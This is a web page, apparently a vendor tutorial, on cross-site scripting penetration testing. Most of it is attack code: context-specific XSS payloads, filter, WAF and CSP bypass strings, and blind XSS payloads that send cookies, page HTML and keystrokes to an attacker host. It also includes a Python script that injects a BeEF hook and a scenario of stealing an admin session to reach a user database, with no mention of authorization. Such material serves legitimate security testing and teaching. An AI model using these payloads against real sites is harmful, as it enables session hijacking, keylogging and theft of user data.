Skip to content

XSS Testing Guide — Cross-Site Scripting Penetration Testing

DodaTech Updated 2026-06-23 9 min read

In this tutorial, you'll learn about XSS Testing Guide. We cover key concepts, practical examples, and best practices to help you understand and apply this topic effectively.

Cross-Site Scripting (XSS) Penetration Testing is the systematic Process of identifying and exploiting XSS vulnerabilities by injecting malicious client-side scripts into web applications to test input validation, output encoding, and content security policy enforcement.

What You'll Learn

Master XSS Penetration Testing from a practical perspective: reflected, stored, and DOM-based variants, context-aware payload crafting for HTML, JavaScript, and URL contexts, WAF and filter bypass techniques, Session Hijacking via cookie theft, and automated testing with XSStrike.

Why XSS Testing Matters

XSS remains one of the most prevalent web vulnerabilities, affecting approximately 60% of web applications in some form. Unlike server-side vulnerabilities, XSS exploits the trust a user has in a website, making it particularly dangerous for applications handling sensitive data. Durga Antivirus Pro includes XSS detection heuristics that block malicious scripts before they execute in the browser.

Real-World Use

You discover a stored XSS vulnerability in a support ticket system. The ticket subject field is rendered without sanitization on the admin dashboard. You submit a ticket with a payload that steals the admin's session cookie. When the admin views the ticket, their session token is sent to your server. You hijack the admin session and access the user database.

XSS Testing Learning Path

flowchart LR
  A[Web Security] --> B[JavaScript Basics]
  B --> C[XSS Fundamentals]
  C --> D[XSS Pentesting Deep Dive]
  D --> E[Advanced Exploitation]
  D --> F[Browser Security]
  D --> G{You Are Here}
  style G fill:#f90,color:#fff
â„šī¸ Info

Prerequisites: JavaScript fundamentals, Web Security basics, and understanding of the OWASP Top 10. Comfort with browser developer tools and HTTP request inspection.

Context-Aware Payload Crafting

XSS vulnerabilities differ based on where the input is injected. The same payload does not work in every context.

HTML Context

<!-- Input is injected between HTML tags -->
<!-- Vulnerable: <div>USER_INPUT</div> -->

<!-- Test payloads -->
<div><script>alert(document.domain)</script></div>
<div><img src=x onerror=alert(1)></div>
<div><svg onload=alert(1)></div>
<div><details open ontoggle=alert(1)></div>

Expected output: The alert dialog fires with the domain name or number 1. The browser executes the injected JavaScript in the context of the target application.

Attribute Context

<!-- Input is injected inside an HTML attribute -->
<!-- Vulnerable: <input value="USER_INPUT"> -->

<!-- Test payloads -->
<input value="" autofocus onfocus="alert(1)">
<input value="" onmouseover="alert(1)">
<input value=""><script>alert(1)</script>

JavaScript Context

<!-- Input is injected inside a JavaScript string -->
<!-- Vulnerable: <script>var name = "USER_INPUT";</script> -->

<!-- Test payloads -->
<script>var name = ""; alert(1);//";</script>
<script>var name = "\"; alert(1);//";</script>
<script>var name = "</script><script>alert(1)</script>";</script>

URL Context

<!-- Input is injected inside a URL or href attribute -->
<!-- Vulnerable: <a href="USER_INPUT">Click</a> -->

<!-- Test payloads -->
<a href="javascript:alert(1)">Click</a>
<a href="<a href="/programming-languages/javascript/">JavaScript</a>:alert(document.cookie)">Click</a>

Automated XSS Detection with XSStrike

XSStrike automates XSS detection with contextual analysis, WAF bypass, and payload generation.

# Basic XSStrike scan
python3 xsstrike.py -u "https://target.com/search?q=test"

# Crawl and test all parameters
python3 xsstrike.py -u "https://target.com/search" --crawl

# POST request testing
python3 xsstrike.py -u "https://target.com/search" --data "username=test&password=test"

# Blind XSS testing with your server endpoint
python3 xsstrike.py -u "https://target.com/search?q=test" --blind

Expected output:

[~] Checking for DOM vulnerabilities
[+] WAF Status: Cloudflare detected (bypass mode available)
[~] Generating payloads...
[+] XSS found: POST /search?q=test
    Payload: <IMG SRC="javascript:alert(1)">
    Type: reflected
    Context: script
    WAF Bypass: double URL encoding

DOM-Based XSS Detection

DOM-based XSS occurs entirely in the client-side JavaScript without the server's involvement. Detection requires source code review.

// Vulnerable JavaScript patterns to look for
// Pattern 1: innerHTML with unsanitized input
function updateProfile() {
  var name = new URLSearchParams(window.location.search).get("name");
  document.getElementById("greeting").innerHTML = "Hello, " + name;
}

// Pattern 2: eval with user input
function evalExpression() {
  var expr = document.getElementById("calc").value;
  var result = eval(expr);
  document.getElementById("output").innerHTML = result;
}

// Pattern 3: location.hash assignment
function setHash() {
  document.location.hash = window.location.hash.substring(1);
}

// Pattern 4: document.write
function showMessage() {
  var msg = window.location.hash.substring(1);
  document.write("<p>" + msg + "</p>");
}

Manually test each sink with specific payloads:

# Test innerHTML sink
curl 'https://target.com/profile?name=<img src=x onerror=alert(1)>'

# Test eval sink
curl 'https://target.com/calculator?expr=1;alert(1)'

Filter Bypass Techniques

Modern web applications and WAFs filter common XSS patterns. These bypass techniques evade filters.

# Case variation
<ScRiPt>alert(1)</ScRiPt>

# HTML entity encoding in attribute context
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;(1)">

# Unicode escapes in JavaScript context
<script>\u0061lert(1)</script>

# Tab/newline injection within attributes
<IMG SRC="javascript:alert(1)">

# Polyglot payloads
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert(1) )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert(1)><!--

# Mutation XSS (mXSS) using browser parser quirks
<noscript><p title="</noscript><img src=x onerror=alert(1)>">

Blind XSS

Blind XSS payloads execute when an admin or another user views the stored data — often in support panels, admin dashboards, or log viewers.

// Payload that exfiltrates cookie data to an attacker server
var img = new Image();
img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(document.cookie);

// Payload that exfiltrates page content
var content = document.documentElement.outerHTML;
fetch("https://attacker-server.com/exfil", {
  method: "POST",
  body: content
});

// Payload that captures keystrokes
document.addEventListener("keydown", function(e) {
  new Image().src = "https://attacker-server.com/key?char=" + e.key;
});

Expected behavior: The attacker's server receives a request containing the admin's cookies, page content, or keystrokes. The XSS is blind because the attacker never sees the victim's browser — the evidence is in the server logs.

Exploit Chaining with BeEF

The Browser Exploitation Framework (BeEF) hooks victims through XSS and enables advanced client-side attacks.

<!-- Hook payload to inject into XSS vector -->
<script src="http://attacker-server:3000/hook.js"></script>
import requests
import hashlib

def deploy_beef_hook(target_url, xss_param):
    """Inject BeEF hook via XSS vulnerability."""
    hook_url = "http://192.168.1.50:3000/hook.js"
    payload = f'<script src="{hook_url}"></script>'

    params = {xss_param: payload}
    resp = requests.get(target_url, params=params)

    if resp.status_code == 200:
        print(f"Hook deployed to {target_url}")
        print(f"Hook source: {hook_url}")
        return True
    return False

# After hook deployment, the browser appears in BeEF UI
# Available modules include:
# - Cookie theft
# - Keystroke logging
# - Screenshot capture
# - Network scanning from victim's browser
# - Social engineering prompts

deploy_beef_hook("https://target.com/search", "q")

Expected output:

Hook deployed to https://target.com/search
Hook source: http://192.168.1.50:3000/hook.js

Once the victim views the page, their browser appears in the BeEF control panel with full exploitation capability.

CSP Bypass Techniques

Content Security Policy restricts which scripts can execute. Test CSP with these techniques.

<!-- CSP-allowed JSONP endpoints can execute arbitrary code -->
<!-- If google-analytics.com is in script-src, use JSONP -->
<script src="https://www.google-analytics.com/gtm/js?id=UA-XXXXX&cid=alert(1)"></script>

<!-- If a file upload endpoint is allowed, upload a .js file -->
<script src="https://target.com/uploads/evil.js"></script>

<!-- Use <base> tag to hijack relative script URLs -->
<base href="https://attacker-server.com/">
<script src="/js/app.js"></script>
<!-- Now app.js loads from attacker-server.com instead -->

<!-- Angular template injection bypass -->
<div ng-app>{{constructor.constructor('alert(1)')()}}</div>

Common XSS Testing Mistakes

1. Only testing with script tags Most WAFs block script tags. Test with img, svg, body, details, input, link, style, and iframe event handlers. Modern XSS rarely uses script tags.

2. Ignoring DOM-based XSS DOM-based XSS does not reach the server and is invisible in HTTP logs. Use browser developer tools to trace data flows from sources (URL params, hash, postMessage) to sinks (innerHTML, eval, document.write).

3. Using only alert() for confirmation Many applications block alert() but allow fetch() or Image(). Use multiple test payloads: console.log, fetch to your server, and Image() requests.

4. Forgetting to test after authentication Stored XSS often exists in profile fields, comments, and settings pages that require authentication. Test every text input field.

5. Not chaining XSS with other vulnerabilities XSS combined with CSRF bypass creates a complete attack chain. A stored XSS that modifies user settings via CSRF is more critical than a simple alert().

Practice Questions

1. What is the difference between reflected, stored, and DOM-based XSS?

Reflected XSS executes immediately from the request response and requires user interaction (clicking a crafted link). Stored XSS persists on the server and executes whenever any user views the affected page. DOM-based XSS executes entirely in the browser without server involvement, using client-side JavaScript to Process unsafe input.

2. How does Content Security Policy prevent XSS?

CSP restricts which script sources the browser can execute. With a strict CSP that blocks inline scripts and limits script-src to trusted origins, injected script tags and event handlers will not execute even if the injection point is vulnerable.

3. What makes DOM-based XSS difficult to detect with automated scanners?

DOM-based XSS does not appear in HTTP requests and responses. The vulnerability exists in client-side JavaScript code that processes data from sources like URL fragments, window.name, or postMessage events. Scanners that only analyze HTTP traffic miss these entirely.

4. Challenge: Write a BeEF hook payload that captures and exfiltrates the victim's browser fingerprint

Create an XSS payload that collects navigator.userAgent, screen resolution, installed plugins, timezone, language, and canvas fingerprint, then sends them to an attacker-controlled endpoint for browser profiling.

Real-World Task: Complete XSS Assessment

Perform a full XSS assessment against a web application:

  1. Map every user-controllable input across all pages
  2. Determine the injection context for each input (HTML, attribute, JS, URL)
  3. Craft context-specific payloads for each input
  4. Test stored XSS in all form fields
  5. Identify DOM-based XSS sources and sinks
  6. Attempt WAF bypass if blocking occurs
  7. Exploit a confirmed XSS via BeEF hook deployment
  8. Document all findings with PoC payloads and screenshots

FAQ

Can XSS be exploited without user interaction?

Stored XSS does not require user interaction because the payload executes automatically when the victim views the affected page. Reflected XSS requires the victim to click a crafted link or visit a malicious page.

What is the difference between same-origin policy and CSP?

Same-origin policy is a browser security mechanism that prevents scripts from one origin accessing data from another. CSP is a defense-in-depth header that restricts which scripts can execute, even on the same origin. CSP can prevent XSS even if the same-origin policy is in place.

How do I test for XSS in single-page applications?

SPAs heavily use DOM manipulation, making DOM-based XSS more common. Test URL hash (#), search params, postMessage events, and route parameters. Use browser dev tools to monitor data flow through Angular, React, or Vue reactivity systems.

What is mutation XSS (mXSS)?

Mutation XSS exploits the difference between how HTML is parsed by the server-side sanitizer (which sees well-formed markup) and the browser (which applies mutation rules that reinterpret the markup). The payload looks safe to the filter but becomes executable after browser parsing.

What's Next

SQL Injection Testing Guide
Privilege Escalation Techniques
CSRF Protection Guide
Web Security OWASP Top 10

Built by the developers of Doda Browser, DodaZIP, and Durga Antivirus Pro.

Built by the developers of DodaTech

Doda Browser, DodaZIP & Durga Antivirus Pro